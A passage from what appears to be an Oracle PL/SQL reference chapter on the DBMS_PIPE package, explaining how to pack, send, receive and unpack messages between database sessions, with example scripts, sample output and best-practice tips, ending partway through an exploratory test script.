/* Filename on companion disk: pipex1.sql */*
DECLARE
   /*
   || PL/SQL block illustrating use of
   || DBMS_PIPE.PACK_MESSAGE to pack and send
   || a PL/SQL record to a pipe
   */
   TYPE friend_rectype IS RECORD
      (name       VARCHAR2(60)
      ,birthdate  DATE
      ,weight_lbs NUMBER
      );

   friend_rec  friend_rectype;

   PROCEDURE pack_send_friend
      (friend_rec_IN IN friend_rectype
      ,pipename_IN IN VARCHAR2)
   IS
      call_status   INTEGER;
   BEGIN
      /*
      ||notice the PACK_MESSAGE overloading
      */
      DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.name);
      DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.birthdate);
      DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.weight_lbs);

      call_status := DBMS_PIPE.SEND_MESSAGE
                        (pipename=>pipename_IN,timeout=>0);

      IF call_status != 0
      THEN
         DBMS_OUTPUT.PUT_LINE('Send message failed');
      END IF;

   END pack_send_friend;

BEGIN

   /*
   || OK, now use the procedure to send a friend_rec
   */
   friend_rec.name := 'John Smith';
   friend_rec.birthdate := TO_DATE('01/14/55','MM/DD/YY');
   friend_rec.weight_lbs := 175;

   pack_send_friend(friend_rec,'OPBIP_TEST_PIPE');
END;

As in the example, it is good practice to encapsulate the packing and sending of an entire message as part of a logical program unit. Otherwise, additional calls to PACK_MESSAGE could add unexpected items to a message before sending, perhaps causing confusion on the receiving end.

3.1.4.2 The DBMS_PIPE.PACK_MESSAGE_RAW procedure

The PACK_MESSAGE_RAW procedure packs an item of datatype RAW into the user session's local message buffer. Here's the header for this program:

PROCEDURE DBMS_PIPE.PACK_MESSAGE_RAW
    (item IN RAW);

The parameter is the item to be packed into the message buffer.

3.1.4.2.1 Exceptions

The program does not raise any package exceptions. The ORA-06558 Oracle exception is raised if the message buffer becomes full and no more items can be packed.

3.1.4.2.2 Restrictions

Note that the user session's local message buffer is limited to 4096 bytes.

3.1.4.2.3 Example

In this example, a hex string is converted to RAW, packed into the session buffer using the PACK_MESSAGE_RAW procedure, and sent to a pipe.

/* Filename on companion disk: pipex1.sql */*
DECLARE
   hex_data    VARCHAR2(12):='FFEEDDCCBBAA';
   raw_data    RAW(6);
   call_status INTEGER;
BEGIN
   /* create some raw data */
   raw_data := HEXTORAW(hex_data);

   /*
   || pack and send raw data on pipe
   */
   DBMS_PIPE.PACK_MESSAGE_RAW(raw_data);
   call_status := DBMS_PIPE.SEND_MESSAGE('OPBIP_TEST_PIPE');

   IF call_status != 0
   THEN
      DBMS_OUTPUT.PUT_LINE('Send message failed');
   END IF;
END;

Applications that need to send large or sensitive data items through database pipes may benefit from using compression and/or encryption on the data and packing the results using PACK_MESSAGE_RAW.

3.1.4.3 The DBMS_PIPE.PACK_MESSAGE_ROWID procedure

The PACK_MESSAGE_ROWID procedure packs an item of datatype ROWID into the user session's local message buffer. The header for this program follows:

PROCEDURE DBMS_PIPE.PACK_MESSAGE_ROWID
   (item IN ROWID);

The item parameter is the ROWID to pack into the message buffer.

3.1.4.3.1 Exceptions

The program does not raise any package exceptions. The ORA-06558 Oracle exception is raised if the message buffer becomes full and no more items can be packed.

3.1.4.3.2 Restrictions

Note that the user session's local message buffer is limited to 4096 bytes.

3.1.4.3.3 Example

This (somewhat contrived) example shows a trigger that places the ROWIDs of new or modified rows of the emp table into a database pipe.

/* Filename on companion disk: pipex1.sql */*
CREATE OR REPLACE TRIGGER emp_AIU
   AFTER INSERT OR UPDATE ON emp
   FOR EACH ROW
DECLARE
   rowid_pipename  VARCHAR2(20) := 'ROWID_PIPE';
   call_status   INTEGER;
BEGIN
   /*
   || pack and send the rowid to a pipe
   */
   DBMS_PIPE.PACK_MESSAGE_ROWID(:NEW.rowid);
   call_status := DBMS_PIPE.SEND_MESSAGE(rowid_pipename);

   IF call_status != 0
   THEN
      RAISE_APPLICATION_ERROR(-20001, 'Trigger emp_AIU failed');
  END IF;
END;

3.1.4.4 The DBMS_PIPE.UNPACK_MESSAGE procedure

The UNPACK_MESSAGE procedure unpacks the next item from the local message buffer when the item is of datatype VARCHAR2, NUMBER, or DATE. The header for this procedure follows:

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE
    (item OUT VARCHAR2 | NUMBER | DATE);

In Oracle8, the VARCHAR2 version of UNPACK_MESSAGE is somewhat different, as follows:

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE
    (item OUT VARCHAR2 CHARACTER SET ANY_CS);

The item parameter is the variable into which the next buffer item is unpacked.

3.1.4.4.1 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the message buffer contains no more items, or if the item parameter does not match the datatype of the next item in the buffer:

Number | Description
ORA-06556 | The pipe is empty; cannot fulfill the UNPACK_MESSAGE request
ORA-06559 | Wrong datatype requested, 2; actual datatype is 1

3.1.4.4.2 Example

This example shows a procedure using UNPACK_MESSAGE to receive and unpack the PL/SQL record type used in the example for PACK_MESSAGE. Note that even though UNPACK_MESSAGE is overloaded on datatype, the correct version needs to be called for the next item in the buffer, or an ORA-06559 error will be raised. This example is a companion to the PACK_MESSAGE example. Together these two examples illustrate a complete pack, send, receive, and unpack DBMS_PIPE communications cycle.

/* Filename on companion disk: pipex1.sql */*
set serveroutput on size 100000

DECLARE
   /*
   || PL/SQL block illustrating use of
   || DBMS_PIPE.UNPACK_MESSAGE to receive and
   || unpack a PL/SQL record from a pipe
   */
   TYPE friend_rectype IS RECORD
      (name       VARCHAR2(60)
      ,birthdate  DATE
      ,weight_lbs NUMBER
      );

   friend_rec  friend_rectype;

   PROCEDURE receive_unpack_friend
      (friend_rec_OUT OUT friend_rectype
      ,pipename_IN IN VARCHAR2)
   IS
      call_status   INTEGER;
   BEGIN

      call_status := DBMS_PIPE.RECEIVE_MESSAGE
                        (pipename=>pipename_IN,timeout=>0);
      /*
      ||NOTE: UNPACK_MESSAGE overloaded but we must
      ||      call the correct version
      */
      DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.name);
      DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.birthdate);
      DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.weight_lbs);

   END receive_unpack_friend;

BEGIN
   /*
   || OK test the procedure, get rec from other example
   */
   receive_unpack_friend(friend_rec,'OPBIP_TEST_PIPE');

   /* display results */
   DBMS_OUTPUT.PUT_LINE('Friend name: '||friend_rec.name);
   DBMS_OUTPUT.PUT_LINE('Friend birthdate: '||
                     TO_CHAR(friend_rec.birthdate));
   DBMS_OUTPUT.PUT_LINE('Friend weight: '||
                     TO_CHAR(friend_rec.weight_lbs));
END;

Here is output from running the previous script after running the PACK_MESSAGE example script:

Friend name: John Smith
Friend birthdate: 14-JAN-55
Friend weight: 175

PL/SQL procedure successfully completed.

As illustrated in the example, it is good practice to encapsulate the receipt and unpacking of messages into a single logical program unit. Message items must be unpacked in the same order in which they were packed.

NOTE: The numeric datatype identifiers in the ORA-06559 message do not match the item type values returned by the NEXT_ITEM_TYPE function.

3.1.4.5 The DBMS_PIPE.UNPACK_MESSAGE_RAW procedure

The UNPACK_MESSAGE_RAW procedure unpacks the next item from the local message buffer when the item is of datatype RAW. The header for this program follows:

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE_RAW
    (item OUT RAW);

The item parameter is the RAW variable into which the next buffer item is unpacked.

3.1.4.5.1 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the message buffer contains no more items or the item parameter does not match the datatype of the next item in the buffer:

Number | Description
ORA-06556 | The pipe is empty; cannot fulfill the UNPACK_MESSAGE request
ORA-06559 | Wrong datatype requested, 2; actual datatype is 1

3.1.4.5.2 Example

In this example, a message with a raw data item is received, unpacked using the UNPACK_MESSAGE_RAW procedure, and displayed.

/* Filename on companion disk: pipex1.sql */*
set serveroutput on size 100000

DECLARE
   hex_data    VARCHAR2(12);
   raw_data    RAW(6);
   call_status INTEGER;
BEGIN
   /*
   || receive and unpack the raw message
   */
   call_status := DBMS_PIPE.RECEIVE_MESSAGE('OPBIP_TEST_PIPE');
   DBMS_PIPE.UNPACK_MESSAGE_RAW(raw_data);

   /* display results */
   hex_data := RAWTOHEX(raw_data);
   DBMS_OUTPUT.PUT_LINE('hex of raw: '||hex_data);
END;

Output from running this script immediately after the PACK_MESSAGE_RAW example script:

hex of raw: FFEEDDCCBBAA

PL/SQL procedure successfully completed.

Note that the numeric datatype identifiers in the ORA-06559 message do not match the item type values returned by the NEXT_ITEM_TYPE function.

3.1.4.6 The DBMS_PIPE.UNPACK_MESSAGE_ROWID procedure

The UNPACK_MESSAGE_ROWID procedure unpacks the next item from the local message buffer when the item is of datatype ROWID. Here's the header for this program:

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE_ROWID
    (item OUT ROWID);

The item parameter is the ROWID variable into which the next message buffer item is unpacked.

3.1.4.6.1 Exceptions

The program does not raise any declared exceptions. The following Oracle errors are raised if the message buffer contains no more items or the item parameter does not match the datatype of the next item in the buffer:

Number | Description
ORA-06556 | The pipe is empty; cannot fulfill the UNPACK_MESSAGE request
ORA-06559 | Wrong datatype requested, 2; actual datatype is 1

3.1.4.6.2 Example

In this example, the database pipe that is filled by the EMP_AIU trigger from the example for PACK_MESSAGE_ROWID is emptied using UNPACK_MESSAGE_ROWID.

/* Filename on companion disk: pipex1.sql */*
set serveroutput on size 100000

DECLARE
   rowid_pipename  VARCHAR2(20) := 'ROWID_PIPE';
   temp_rowid   ROWID;
   call_status  INTEGER:=0;
BEGIN
   /*
   || receive and unpack all rowids from pipe
   */
   WHILE call_status = 0
   LOOP
      call_status := DBMS_PIPE.RECEIVE_MESSAGE
         (pipename=>rowid_pipename, timeout=>0);

      IF call_status = 0
      THEN
         DBMS_PIPE.UNPACK_MESSAGE_ROWID(temp_rowid);

         /* display rowid results */
         DBMS_OUTPUT.PUT_LINE(ROWIDTOCHAR(temp_rowid));
      END IF;
   END LOOP;
END;
/

The script output looks like this:

SQL>
14 rows updated.

Commit complete.

AAAA6OAAGAAAA0FAAA
AAAA6OAAGAAAA0FAAB
AAAA6OAAGAAAA0FAAC
AAAA6OAAGAAAA0FAAD
AAAA6OAAGAAAA0FAAE
AAAA6OAAGAAAA0FAAF
AAAA6OAAGAAAA0FAAG
AAAA6OAAGAAAA0FAAH
AAAA6OAAGAAAA0FAAI
AAAA6OAAGAAAA0FAAJ
AAAA6OAAGAAAA0FAAK
AAAA6OAAGAAAA0FAAL
AAAA6OAAGAAAA0FAAM
AAAA6OAAGAAAA0FAAN
AAAA6OAAGAAAA0FAAN

PL/SQL procedure successfully completed.

In the previous example, the unusual looking ROWIDs are the result of running the test on an Oracle8 database. (Remember that ROWID formats have changed in Oracle8.)

NOTE: The numeric datatype identifiers in the ORA-06559 message do not match the item type values returned by the NEXT_ITEM_TYPE function.

3.1.4.7 The DBMS_PIPE.NEXT_ITEM_TYPE function

The NEXT_ITEM_TYPE function returns a number indicating the datatype of the next item in the user session's message buffer. The header for this function follows:

FUNCTION DBMS_PIPE.NEXT_ITEM_TYPE RETURN INTEGER;

The return value will be one of the following:

Item Type | Description
0 | No more items in buffer
6 | NUMBER
9 | VARCHAR2
11 | ROWID
12 | DATE
23 | RAW

The program does not raise any package exceptions.

3.1.4.7.1 Example

The following PL/SQL block contains an inline procedure called unpack_all_items, which can unpack any message and display its contents using DBMS_OUTPUT. The unpack_all_items procedure uses NEXT_ITEM_TYPE to determine which version of UNPACK_MESSAGE to call for each item.

/* Filename on companion disk: pipex2.sql */*
set serveroutput on size 100000

DECLARE
   call_stat   INTEGER;

   PROCEDURE unpack_all_items
   IS
      /*
      || declare temp variables of all message item types
      */
      temp_varchar2  VARCHAR2(2000);
      temp_date      DATE;
      temp_number    NUMBER;
      temp_rowid     ROWID;
      temp_raw       RAW(2000);

      next_item      INTEGER:=0;

   BEGIN
      next_item := DBMS_PIPE.NEXT_ITEM_TYPE;

      /*
      || unpack by item type and convert to varchar2
      */
      WHILE next_item > 0
      LOOP
         IF next_item = 9
         THEN
            DBMS_PIPE.UNPACK_MESSAGE(temp_varchar2);

         ELSIF next_item = 6
         THEN
            DBMS_PIPE.UNPACK_MESSAGE(temp_number);
            temp_varchar2 := 'NUMBER: '||TO_CHAR(temp_number);

         ELSIF next_item = 11
         THEN
            DBMS_PIPE.UNPACK_MESSAGE_ROWID(temp_rowid);
            temp_varchar2 := 'ROWID: '||ROWIDTOCHAR(temp_rowid);

         ELSIF next_item = 12
         THEN
            DBMS_PIPE.UNPACK_MESSAGE(temp_date);
            temp_varchar2 := 'DATE: '||
                        TO_CHAR(temp_date,'YYYY:MM:DD:HH24:MI:SS');

         ELSIF next_item = 23
         THEN
            DBMS_PIPE.UNPACK_MESSAGE_RAW(temp_raw);
            temp_varchar2 := 'RAW: '||RAWTOHEX(temp_raw);

         ELSE
            temp_varchar2 := 'Invalid item type: '||TO_CHAR(next_item);
         END IF;

         /*
         || display item and determine next item
         */
         DBMS_OUTPUT.PUT_LINE(temp_varchar2);
         next_item := DBMS_PIPE.NEXT_ITEM_TYPE;

      END LOOP;
   END unpack_all_items;

BEGIN
   /* empty pipe */
   DBMS_PIPE.PURGE('OPBIP_TEST_PIPE');

   /* initialize buffer  */
   DBMS_PIPE.RESET_BUFFER;

   /* pack in some data of different types */
   DBMS_PIPE.PACK_MESSAGE('HELLO THERE');
   DBMS_PIPE.PACK_MESSAGE(123456789);
   DBMS_PIPE.PACK_MESSAGE(SYSDATE);
   DBMS_PIPE.PACK_MESSAGE_RAW(HEXTORAW('FFDDEE2344AA'));

   /* send and receive the message */
   call_stat := DBMS_PIPE.SEND_MESSAGE('OPBIP_TEST_PIPE');
   call_stat := DBMS_PIPE.RECEIVE_MESSAGE('OPBIP_TEST_PIPE');

   /* call the generic unpack procedure */
   unpack_all_items;

END;

Here is output from running the example script:

SQL> @pipex2.sql

HELLO THERE
NUMBER: 123456789
DATE: 1998:02:01:12:01:19
RAW: FFDDEE2344AA

PL/SQL procedure successfully completed.

The unpack_all_items inline procedure is a prototype for the procedure of the same name found in the dbpipe package, discussed in the "Section 3.1.7" section.

NOTE: The item type values returned by the NEXT_ITEM_TYPE function do not match the numeric datatype identifiers in the ORA-06559 message.

3.1.5 Sending and Receiving Messages

Use DBMS_PIPE's SEND_MESSAGE and RECEIVE_MESSAGE functions to send and receive messages on the pipe you have created.

3.1.5.1 The DBMS_PIPE.SEND_MESSAGE function

The SEND_MESSAGE function sends a message on the named pipe. The message sent is whatever has been packed into the user session's current message buffer. The header for this program follows:

FUNCTION DBMS_PIPE.SEND_MESSAGE
    (pipename IN VARCHAR2
    ,timeout IN INTEGER DEFAULT MAXWAIT
    ,maxpipesize IN INTEGER DEFAULT 8192)
RETURN INTEGER;

Parameters are summarized in the following table.

Parameter | Description
pipename | Name of the database pipe
timeout | Time in seconds to wait for message to be sent
maxpipesize | Maximum size in bytes of the pipe

The value returned is one of the following:

Return Value | Description
0 | Success
1 | Timed out
3 | Interrupted

3.1.5.1.1 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the user attempts to receive a message on a pipe belonging to another user or on a NULL pipename:

Number | Description
ORA-23322 | Insufficient privileges to access pipe
ORA-23321 | Pipename may not be NULL

3.1.5.1.2 Restrictions

Note the following restrictions on calling SEND_MESSAGE:

  • Pipenames are limited to 128 bytes in length, are case-insensitive, and cannot contain NLS characters.

  • Pipenames must not begin with "ORA$", as these names are reserved for use by Oracle Corporation.

3.1.5.1.3 Example

This example shows the use of SEND_MESSAGE to send a message based on a PL/SQL record out on a database pipe.

The pack_send_request procedure can be found in the pipesvr package discussed in the "Section 3.1.7" section.

 /* Filename on companion disk: pipesvr.sql */*
 PROCEDURE pack_send_request
    (request_rec_IN IN request_rectype
    ,return_code_OUT OUT NUMBER)
IS
BEGIN
    /* discard any previous unsent message items */
    DBMS_PIPE.RESET_BUFFER;

    /* pack message in standard order */
    DBMS_PIPE.PACK_MESSAGE(request_protocol);
    DBMS_PIPE.PACK_MESSAGE(request_rec_IN.response_pipe);
     DBMS_PIPE.PACK_MESSAGE(request_rec_IN.service);

     /*
     || send message to request pipe nowait
     */
     return_code_OUT := DBMS_PIPE.SEND_MESSAGE
                           (pipename => request_pipe
                           ,timeout  => 0);
 END pack_send_request;

The SEND_MESSAGE function will implicitly create a public pipe if the pipe specified by the pipename parameter does not already exist. Be careful not to assume that the call to SEND_MESSAGE has been successful. Note that in this example, the value returned by the call to SEND_MESSAGE is passed out of the pack_send_request procedure to its caller, so it will be the caller's responsibility to handle a nonzero return value.

Calls to SEND_MESSAGE will wait for up to the value of the timeout parameter in seconds for the call to complete. Applications using database pipes that stay full of messages may incur lengthy wait times or timeouts. When using SEND_MESSAGE under these circumstances, be careful to specify a timeout that users can tolerate.

Applications experiencing frequent timeouts or long waits when calling SEND_MESSAGE may benefit by increasing the size of the database pipe. This can be done by specifying a value for the maxpipesize parameter that is greater than the current maximum size of the pipe.

3.1.5.2 The DBMS_PIPE.RECEIVE_MESSAGE function

The RECEIVE_MESSAGE function is used to fetch a message from the named pipe into the user session's message buffer. The header for this program follows:

FUNCTION DBMS_PIPE.RECEIVE_MESSAGE
    (pipename IN VARCHAR2
    ,timeout IN INTEGER DEFAULT MAXWAIT)
RETURN INTEGER;

Parameters are summarized in the following table.

Parameter | Description
pipename | Name of the database pipe
timeout | Time in seconds to wait for message to be received

The function returns one of the following values:

Return Value | Description
0 | Success
1 | Timed out
2 | Message too big for buffer
3 | Interrupted

3.1.5.2.1 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the user attempts to receive a message on a pipe belonging to another user or on a NULL pipename:

Number | Description
ORA-23322 | Insufficient privileges to access pipe
ORA-23321 | Pipename may not be NULL

3.1.5.2.2 Restrictions

Note the following restrictions on calling RECEIVE_MESSAGE:

  • Pipenames are limited to 128 bytes in length, are case-insensitive, and cannot contain NLS characters.

  • Pipenames must not begin with "ORA$", as these names are reserved for use by Oracle Corporation.

3.1.5.2.3 Example

This example shows the use of the RECEIVE_MESSAGE function to receive a message based on a PL/SQL record from a database pipe.

The receive_unpack_request procedure can be found in the pipesvr package discussed in the "Section 3.1.7" section.

 /* Filename on companion disk: pipesvr.sql */*
 PROCEDURE receive_unpack_request
    (timeout_IN IN INTEGER
    ,request_rec_OUT OUT request_rectype
     ,return_code_OUT OUT NUMBER)
IS
    /* temp variables */
    temp_protocol  request_protocol%TYPE;
    temp_return_code  NUMBER;

BEGIN

    temp_return_code := DBMS_PIPE.RECEIVE_MESSAGE
            (pipename => request_pipe
             ,timeout  => timeout_IN);

    IF temp_return_code = 0
    THEN
        /* check if expected protocol */
        DBMS_PIPE.UNPACK_MESSAGE(temp_protocol);

        IF temp_protocol = request_protocol
        THEN
            DBMS_PIPE.UNPACK_MESSAGE(request_rec_OUT.response_pipe);
            DBMS_PIPE.UNPACK_MESSAGE(request_rec_OUT.service);
        ELSE
            /* pipe message has unexpected protocol */
            temp_return_code := -1;
            debug('UNKNOWN PROTOCOL: '||temp_protocol);
            DBMS_PIPE.RESET_BUFFER;
        END IF;
    END IF;

    return_code_OUT := temp_return_code;

EXCEPTION
    WHEN OTHERS THEN
        return_code_OUT := SQLCODE;
        debug('RECEIVE REQUEST EXCP: '||SQLERRM
              ,force_TF_IN=>TRUE);
         DBMS_PIPE.RESET_BUFFER;

   END receive_unpack_request;

Calls to RECEIVE_MESSAGE will wait for up to the value of the timeout parameter in seconds for the call to complete. Applications accessing database pipes that are usually empty of messages can incur lengthy wait times or timeouts. When using RECEIVE_MESSAGE under these circumstances, be careful to specify a timeout that users can tolerate.

The RECEIVE_MESSAGE function will implicitly create a public pipe of the given name if one does not already exist.

3.1.6 Tips on Using DBMS_PIPE

Oracle does not provide detailed documentation of exactly how database pipes work, nor much in the way of how best to use them. The programs in DBMS_PIPE are quite low-level utilities. Higher-level programs using DBMS_PIPE typically need to make numerous calls to these programs, which must be in the correct order, to handle communications. This can lead to complex and difficult code, unless a structured, modular, template-based approach is used.

Through research and experience, I have adopted a method for building safe, reliable, and extensible higher-level communications layers on top of DBMS_PIPE. The following items are the main elements of this method:

  • Define message types using PL/SQL records

  • Encapsulate pack/send and receive/unpack logic around record types

  • Separate messages using session-specific pipes

  • Use a well-defined protocol across applications

  • Pay attention to timeout values

  • Use RESET_BUFFER in exception handlers and pack/unpack routines

  • Take the time to size pipes correctly

  • Purge and remove pipes when finished

3.1.6.1 Defining message types and encapsulating communications logic

PL/SQL records and DBMS_PIPE messages both bundle related data items together, so there is a natural affinity between them. When implementing applications that use DBMS_PIPE, do the following:

  1. Determine the kinds of message data that will be communicated between sessions.

  2. Develop a PL/SQL record type corresponding to each different type of message.

  3. Build two procedures around the record type. One procedure takes a PL/SQL record and pipename as IN parameters, packs the record into a message using PACK_MESSAGE, and sends it to the pipe using SEND_MESSAGE. This procedure is usually named pack_send_rectype. The second procedure, usually called receive_unpack_rectype, performs the inverse operation. It takes a pipename as an IN parameter and a record as an OUT parameter, retrieves a message on the pipe using RECEIVE_MESSAGE, and unbundles the message into the record using calls to UNPACK_MESSAGE.

  4. Once these two procedures are built, I can send and receive PL/SQL records as messages on database pipes; using these procedure calls, all of the low-level calls to DBMS_PIPE programs are hidden. This approach also makes it easy to extend the messaging to add new data items: simply add a new field to the end of the record type, and new calls to PACK_MESSAGE and UNPACK_MESSAGE to the two procedures.

Examples of this record-to-pipe-message encapsulation technique can be seen in the examples for PACK_MESSAGE and UNPACK_MESSAGE, where procedures to pack/send and receive/unpack a record type called friend_rectype are defined. These examples are repeated here:

/* Filename on companion disk: pipex1.sql */*
TYPE friend_rectype IS RECORD
    (name       VARCHAR2(60)
    ,birthdate  DATE
    ,weight_lbs NUMBER
    );

friend_rec  friend_rectype;

PROCEDURE pack_send_friend
    (friend_rec_IN IN friend_rectype
    ,pipename_IN IN VARCHAR2)
IS
    call_status   INTEGER;
BEGIN
    /*
    ||notice the PACK_MESSAGE overloading
    */
    DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.name);
    DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.birthdate);
    DBMS_PIPE.PACK_MESSAGE(friend_rec_IN.weight_lbs);

    call_status := DBMS_PIPE.SEND_MESSAGE
                (pipename=>pipename_IN,timeout=>0);

    IF call_status != 0
    THEN
        DBMS_OUTPUT.PUT_LINE('Send message failed');
    END IF;

END pack_send_friend;

PROCEDURE receive_unpack_friend
    (friend_rec_OUT OUT friend_rectype
     ,pipename_IN IN VARCHAR2)
IS
    call_status   INTEGER;
BEGIN

    call_status := DBMS_PIPE.RECEIVE_MESSAGE
                (pipename=>pipename_IN,timeout=>0);
    /*
    ||NOTE: UNPACK_MESSAGE overloaded but we must
    ||      call the correct version
    */
    DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.name);
    DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.birthdate);
    DBMS_PIPE.UNPACK_MESSAGE(friend_rec_OUT.weight_lbs);

END receive_unpack_friend;

3.1.6.2 Separating messages

Once a reliable mechanism is established for sending and receiving a specific message type, the next step is to make sure that messages get to their expected recipients. Database pipes themselves can hold any message, so separating messages of different types is usually done by creating specific pipes to handle specific types of messages. Messages intended for a specific user will usually be placed on a pipe whose name is unique to the user session. Unique pipenames can be established using the UNIQUE_SESSION_NAME function. Common pipes -- for example, those on which server programs listen for service requests -- will have pipenames known to all sessions that use the service. These names are typically contained in private global variables embedded in the packages that handle the DBMS_PIPE communications for the server.

3.1.6.3 Establishing messaging protocols

Since any session with access to a database pipe can put a message there, it is good practice for programs that receive and unpack messages to establish a protocol to reliably identify the type of message received prior to unpacking. This protects against receiving ORA-06559 errors because the next item type in the message does not match the item parameter in the call to UNPACK_MESSAGE. It also protects against unpacking a message successfully, only to find out that the data itself was not really what was expected. Therefore, it is good practice for all messages to have a protocol identifier as the first item in the message. This item should always be a specific datatype. I use and recommend VARCHAR2, because safer and more meaningful protocol identifiers than numbers can be created this way.

Once protocol identifiers are established, receive/unpack routines will have code that looks like the following:

call_status := DBMS_PIPE.RECEIVE_MESSAGE(pipename_IN, timeout_value);

IF call_status = 0
THEN
   /* unpack protocol id */
   DBMS_PIPE.UNPACK_MESSAGE(protocol_id);

   IF protocol_id = 'EXPECTED ID FOR THIS ROUTINE'
   THEN
      /*
      || OK, we know what message type, unpack the rest here
      || using calls to DBMS_PIPE.UNPACK_MESSAGE
      */
   ELSE
      DBMS_PIPE.RESET_BUFFER;
      RAISE_APPLICATION_ERROR('Invalid protocol');
   END IF;
END IF;

3.1.6.4 Paying attention to timeouts

Note also in the previous code fragment that a timeout is specified in the call to RECEIVE_MESSAGE, which is another of my recommended best practices. Sessions will block and wait for up to the value of the timeout parameter for calls to SEND_MESSAGE or RECEIVE_MESSAGE to complete. The default for this parameter is the constant DBMS_PIPE.maxwait, which equates to 1000 days! Since most users are not quite this patient, it pays to spend some time determining and using acceptable timeout values.

3.1.6.5 Using RESET_BUFFER

The code fragment also illustrates one place where I use the RESET_BUFFER procedure: when a message has been received but the protocol is unrecognized. This effectively discards the message. Another place where the message buffer should be reset for safety is at the beginning of message packing routines. Resetting here ensures that the message packed does not include any items that may have been packed into the buffer prior to entering the routine (i.e., that the message is only what is intended). Finally, another good place to use RESET_BUFFER is in exception handlers for programs using DBMS_PIPE programs. Since exceptions indicate unexpected results, it is safe practice to make sure that the message buffer is initialized under these circumstances.

3.1.6.6 Sizing and removing pipes for good memory management

Finally, my best practices call for proper sizing, purging, and removal of database pipes. These all amount to observing good memory management in the Oracle shared pool. Pipes that are too large may interfere with other shared pool operations. Pipes that are too small for their traffic volume can result in long wait times or timeouts in calls to SEND_MESSAGE. Pipes that are no longer needed and that still contain messages effectively waste SGA memory because they will not be aged out of the shared pool. Thus, it pays to spend time making pipe sizes large enough to handle traffic with minimum wait times, yet as small as possible to conserve memory, and to remove pipes or at least purge them of messages when they are no longer needed.

3.1.7 DBMS_PIPE Examples

This section contains several longer examples of using DBMS_PIPE.

3.1.7.1 Communicating with the outside world

One of the primary advantages of DBMS_PIPE is that it facilitates the long-desired ability to communicate with the "outside world" from within Oracle. In this new situation, database pipes can provide users access to external services from within their Oracle sessions. Oracle's package specification script for DBMS_PIPE (dbmspipe.sql ) presents a relatively complete example of how a "stock price request server" service could be implemented. Several examples of how to implement such external services using 3GL languages like C are available through online sources. In particular, Oracle Technical Support Bulletin 105688.158 gives a complete implementation of a daemon process written in C that listens on a database pipe and provides Oracle sessions with the ability to execute operating system commands from PL/SQL (similar to the HOST command in SQL*Plus).

3.1.7.2 Exploring DBMS_PIPE

I had several questions about database pipes and decided to explore the following:

  • Can a message packed into the buffer be unpacked prior to sending?

  • Do PACK_MESSAGE and RECEIVE_MESSAGE use a common buffer?

  • Does the PACK_MESSAGE procedure do any data compression to conserve memory?

I developed several tests to help answer these questions. The first question seemed quite straightforward. This is the test I developed and the results:

DECLARE
   message_out    VARCHAR2(2000);

BEGIN
   /* try to pack and unpack */
   DBMS_PIPE.PACK_MESSAGE('This is my message');
   DBMS_PIPE.UNPACK_MESSAGE(message_out);
   DBMS_OUTPUT.PUT_LINE
      ('message unpacked: '||message_out);
END;
/

DECLARE
*
ERROR at line 1:
ORA-06556: the pipe is empty, cannot fulfill the unpack_message request
ORA-06512: at "SYS.DBMS_PIPE", line 71
ORA-06512: at line 11

Calling UNPACK_MESSAGE immediately following a call to PACK_MESSAGE generated an exception, so it appears that the first answer is no: the packed message buffer cannot be unpacked prior to sending. However, check out the results of the following test:

DECLARE
   message_out    VARCHAR2(2000);

BEGIN
   /* initialize buffer */
   DBMS_PIPE.RESET_BUFFER;

   /* try to pack and unpack */
   DBMS_PIPE.PACK_MESSAGE('This is my message');
   DBMS_PIPE.UNPACK_MESSAGE(message_out);
   DBMS_OUTPUT.PUT_LINE
      ('message unpacked: '||message_out);
END;
/

message unpacked: This is my message

PL/SQL procedure successfully completed.

The only difference in the second test was that RESET_BUFFER was called prior to packing and unpacking the message. Furthermore, subsequent executions of the first test block completed successfully even though RESET_BUFFER was not explicitly called. So the real answer to the first question appears to be that packed messages can be unpacked prior to sending as long as RESET_BUFFER has been previously called in the session. This confuses me, and I don't like the fact that Oracle does not expose more details about the inner workings of the local message buffer in relation to packing and unpacking messages.

The second question ("Do PACK_MESSAGE and UNPACK_MESSAGE use a common buffer?") is a little trickier. It actually occurred to me only after exploring the first question about unpacking a packed buffer before sending. I wondered whether packing and unpacking messages could happen independently of each other in the message buffer, or whether the session message buffer was essentially a single slot with room for only one message. I expanded my earlier test script into the following:

/* Filename on companion disk: pipe2.sql */*
DECLARE
   test_pipename  VARCHAR2(30):='OPBIP_TEST_PIPE2';
   call_status    INTEGER;
   message1_out   VARCHAR2(2000);
   message2_out   VARCHAR2(2000);

BEGIN
   DBMS_PIPE.RESET_BUFFER;

   /* make sure pipe is empty */
   call_status := DBMS_PIPE.CREATE_PIPE(test_pipename);
   DBMS_PIPE.PURGE(test_pipename);

   /* pack and send first message  */
   DBMS_PIPE.PACK_MESSAGE('This is message one');
   call_status := DBMS_PIPE.SEND_MESSAGE(test_pipename);
   DBMS_OUTPUT.PUT_LINE('call status send1: '||TO_CHAR(call_status));

   /* now pack second message without sending  */
   DBMS_PIPE.PACK_MESSAGE('This is message two');

   /* receive, unpack and print message */
   call_status := DBMS_PIPE.RECEIVE_MESSAGE(test_pipename);
   DBMS_OUTPUT.PUT_LINE('call status receive1: '||TO_CHAR(call_status));
   DBMS_PIPE.UNPACK_MESSAGE(message1_out);
   DBMS_OUTPUT.PUT_LINE('message unpacked: '||message1_out);

   /* now send message two...is it still there?  */
   call_status := DBMS_PIPE.SEND_MESSAGE(test_pipename);
   DBMS_OUTPUT.PUT_LINE('call status send2: '||TO_CHAR(call_status));

   /* receive, unpack and print message */
